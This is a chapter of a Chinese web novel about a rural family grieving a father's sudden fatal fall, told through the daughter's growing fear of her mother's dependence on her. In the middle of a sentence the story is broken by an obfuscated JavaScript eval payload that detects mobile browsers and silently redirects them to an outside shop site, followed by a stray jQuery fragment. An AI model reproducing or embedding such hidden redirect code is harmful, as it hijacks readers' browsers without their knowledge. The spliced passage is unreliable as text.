离家还有几百米，一道尖叫，惊得树上枝头的小鸟惊慌失措地飞了出去。
是奶奶的声音。
姜苔米和姜望玉面面相觑。
“怎么回事？”姜望玉垫脚，往家里的方向看去，但被大树给挡住了，看不出院子里的情况。
两人见情况不对，加快脚步跑了回去。
推开院门，先映入眼帘的是地上的一张白布，姜奶奶正扑在白布上哭，她一边哭，一边大叫，哭声尖锐。
许真妈妈离开的时候，就是那一张这样的白布，姜苔米太熟悉了，熟悉到说出的话，都带着颤音：“怎么了？”
问完她朝四周看了看。
她的妈妈、爷爷都在，只有……只有爸爸不在。
“爸爸？”姜苔米喃喃出声，眼泪比声音先落在地上，“爸爸！”
她“噗通”跪了下来，不敢去碰白布，端跪在那张白布面前。
怎么会这样，她完全不敢去想象躺在这里的会是爸爸，明明下午他们还说话来着，一个活生生的人，怎么就突然死了？
“爸！”姜望玉跟在姜苔米身后进了屋，看见地上的白布也跟着痛嚎一声，跪了下来。
姜妈妈立在白布的半米远的地方，脸色煞白，双手紧紧抓着围裙，眼里闪动着泪光。
送姜爸爸回来的人是村长，见到这场面，他很是痛心，他嘴边嚅嗫的半天，才说：“节哀。”
“他……他怎么了？”姜爷爷似乎是这个时候才回过神，他不可置信地指着地上的白布，对村长臭骂，“你把什么东西放在我们家里？我儿子呢！！快把我儿子找回来，这不是我儿子！你个老鳖孙，我艹|你祖宗……”
“节哀，节哀。”村长被骂得有些僵硬，脸色僵硬地不停说着节哀。
毕竟在村里，谁见到他不都得好脸相见叫他句村长，第一次被人指着鼻子乱骂，他心里憋屈，但又碍于自己的面子和人家刚死了儿子，不好说什么，只得认下。
“老哥俩，别激动别激动。”
村长想伸手去扶偏偏倒倒的姜爷爷。
姜爷爷一巴掌拍开他的手。他虽年老，但大半辈子都在做农活，力气自然是大得很，村长的手一被打，立马就红肿了起来。
村长疼得直跳脚，张了张嘴想开骂，听见哭声，他又闭了嘴，不过脸色沉了下来。
“人，我给你送到了。”村长说完，一只脚本来迈出了院子，却又突然收回脚，好心解释，“他在山上田里没站稳，掉下来，摔死了。”
“你个老鳖孙。瞎说什么！谁死了？你再说一遍！”姜爷爷怒气冲冲，抓起脚上的草鞋就扔了过去。
村长偏头躲过袭来的草鞋，无奈摇了摇头：“天气大，早些让他入土为安吧。”
说完，他对着院外的两个人帮忙抬人的村民，扬了扬头，示意离开。
村长走后，姜爷爷又接着骂了几分钟，直到姜期回来，他才停止了骂声。
姜爷爷不看地上的人一眼，双手背在背后往屋里走，他自顾自地坐在往常坐的木桌上，给自己倒了一杯白酒。
不一会屋子响起了一道戏曲的唱腔，姜苔米擦了擦眼泪，顺着声音看过去。
爷爷的脸已经喝得通红，连着那双眼睛也是，红得吓人，他的嘴一闭一合，几乎没有什么血色的唇像是两块轻飘飘的海绵，被水打湿了般，抖着抖着，就流出几滴酒。
没人敢去阻止爷爷，唯一能阻止他少喝点的爸爸，现在已经躺在地上再也起不来了。
往后，再也没有人能阻止他喝酒了。
往后，她再也没有爸爸了，想着，姜苔米眼角落下几滴眼泪。
“呜呜呜呜……我的儿啊！儿啊！”姜爷爷停止了唱曲，突然哭着喊起来，“命苦的儿啊，爸真想替你躺在那。”
姜爷爷指着地上的白布，像是第一次看见它，而后他又仰头看天，指责上天说：“天啊！！你真是不公！不公！我儿子老老实实一辈子，你就这么收了他！你还我儿子，还我儿子！”
姜妈妈身体抖着，她站在那，一直没动过，甚至连眼泪都没流下过。
她等着姜奶奶哭够了，才走过去扶起她。
“儿媳妇，我只有你了，只有你了。”姜奶奶皱皱巴巴的手抓着姜妈妈的手臂，因为力气太大，姜妈妈的手臂上被抓出了几道抓痕。
“好，妈。”姜妈妈答应着，满是悲伤的眼里点上些坚定。
姜妈妈扶着姜奶奶进了屋，让她在床上躺下休息，又去给姜爷爷倒了杯酒，才走出来，对着姜苔米他们三个人说：“把你爸抬进去。”
姜妈妈指了指空着的柴房。
姜期抬着姜爸爸的头部，姜苔米抬着姜爸爸的脚那边，姜望玉站在侧边，扶着板子。
柴房还没来得急存放冬天的柴火，里边空空荡荡的，透着一股阴气。开裂的墙上挂着几张蜘蛛网，发霉的味道在开门时，顺着风吹了过来。姜苔米咳嗽了两声，放下了板子。
“行了，你们去休息吧，我来守着你们爸爸，明天我会安排葬礼的。”
姜妈妈说完，将三人赶了出去。
姜苔米路过姜奶奶房间的时候，看见了姜奶奶正张着嘴双眼无神地看着床顶。
她一下子就老了许多，以前那股子使不完，不服输的劲，瞬间被抽空了，现在躺在那张床上的仿佛只是一张毫无生气的躯壳。
姜苔米走进灶房淘了碗米。
“我来烧火。”姜期拿着火柴在火柴盒上划拉了一下，火柴燃了起来，他将火柴放在柴火上，柴火照得明亮，火光中，姜苔米看见了他脸上的泪痕。
“太熏了，哪来的柴火，估计是没干透。”姜期用袖子擦了擦眼泪，对姜苔米说。
姜苔米没有拆穿，将米放在锅里，对站在门口的姜望玉说：“望玉，你去给村长道个歉，顺便去把华叔找来，就说……说，说爸爸离开了。”
华叔是村里专门处理后事的人。
姜望玉点点头，正要离开。
姜苔米又对他说：“等等。”她走到灶房的墙角，拿起一个破旧的背篓，背篓里装着几颗白菜，她递给姜望玉，“给村长的。”
“好。”姜望玉接过，飞快地跑了出去。
姜苔米回过头，用铁勺搅了搅锅里的粥，米黏在锅底，勺子碰在锅底“咚咚咚”响。
将米全部搅起来后，姜苔米将勺子放在锅边，对烧火的姜期说：“我去看看妈。”
“去吧，这我看着。”姜期手里拿着火钳，站起来看着锅里。
靠近柴屋，一阵呜呜咽咽的声音，透过柴门传了出来，声音压抑在胸腔，倒上不上，倒下不下。
姜苔米靠在门口墙上，没有进去，眺望着远处田地上的群山。
爸爸举起锄头干农活的身影就在那田地里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891447|212754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，察觉到她的视线，他回头对她一笑。
“爸爸。”姜苔米小声喊了句，对着那道影子伸出手，还没触碰到那道影子，它就消失了。
姜苔米收回视线，屋里的哭声小了些，她迈脚跨过门槛，小声喊了声：“妈。”
“诶。”姜妈妈胡乱地摸了把眼泪。
姜妈妈坐在一张矮凳上，整个人蜷缩在一起，小小的一团，像是个无助的小孩。
“我让望玉去找华叔了。”姜苔米挨着姜妈妈坐了下来。
姜妈妈扯出勉强的笑：“好。”她握住姜苔米的手，粗粝的手指皮肤抚摸过姜苔米的肌肤。
妈妈的手一直这样吗？不是的。
姜苔米想起来小时候，那双柔和细嫩的手轻抚着自己的脸。
她反手握了回去，两双几乎相似的手交握在一起。
“小米，妈妈只有你了。”姜妈妈哀求地望向姜苔米，似把她当作救命的抓手。
那眼神让姜苔米打了个激灵：“妈妈，不止有我，还有哥和望玉。”
姜妈妈反驳道：“不，他们不一样。”
“哪里不一样。”
姜妈妈没有正面回答她，紧紧按着她的手。她的手被按得发疼，姜苔米没忍住溢出一声痛呼。
听见她的痛呼，姜妈妈松了手，关切地问：“没事吧？是妈妈捏疼了你，对不起。”
姜苔米并不在乎手上的疼痛，她想要妈妈的回答，她和他们有什么不同：“没关系妈妈，我和哥哥，和望玉，有什么不同？”
姜妈妈缄默着，半天才找回自己的声音：“小米不是妈妈的小棉袄吗？”
以往姜苔米听见妈妈如此亲昵的对话，她会高兴好几天。可是现在，她的心里却没有一点高兴，甚至生出了几分恐惧，妈妈的话像一捆绳子将她束缚住，她觉得那捆绳子在一点点地剥夺她的呼吸。
有一瞬间，她好像要呼吸不上来，快要窒息了。
姜苔米张了张嘴，什么话也说不出，看着妈妈脆弱而又沧桑的脸。
所有的一切情绪都消散了，余下一片空白。
“小米，一直陪在妈妈身边好不好？”姜妈妈猝然抱住了她。
妈妈温暖的怀抱，让她不舍得松开，但妈妈的话，又让她不敢回抱和答应她。
妈妈，我跟姜望玉和姜期有什么不同？
姜苔米的眼泪滴在姜妈妈的背上，在她洗得发白的布衣上留下了一圈水痕。
姜妈妈感受到背部的湿润，拉开一看：“怎么哭了？”
“没有妈妈，我只是为爸爸难过。”这是她又说谎了，只是这次她没有像往常那样躲闪，而是直愣愣地回看向妈妈，想从她的脸上看出些什么，但什么都没有。
姜妈妈温柔地摸了摸她的头：“傻孩子，妈妈会陪着你的。”
姜苔米没有回答，她不自觉地看向了那张白布，她忽然想，她会死吗？像爸爸一样，突然死掉吗？死在这座大山里，连鬼魂都出不去吗？
她开始恐惧，恐惧的却不是死亡本身，而是那被规划和禁锢的未来——死板得像一滩毫无生气的湖水。
她不是没有见过死亡，只是这一次的死亡，是她最为亲近之人的死亡，她无法躲避，无法逃走。
所有一切未曾想过的东西，开始围绕着她的脑袋不停地旋转起来。
那抹念头，也在心里越来越清晰。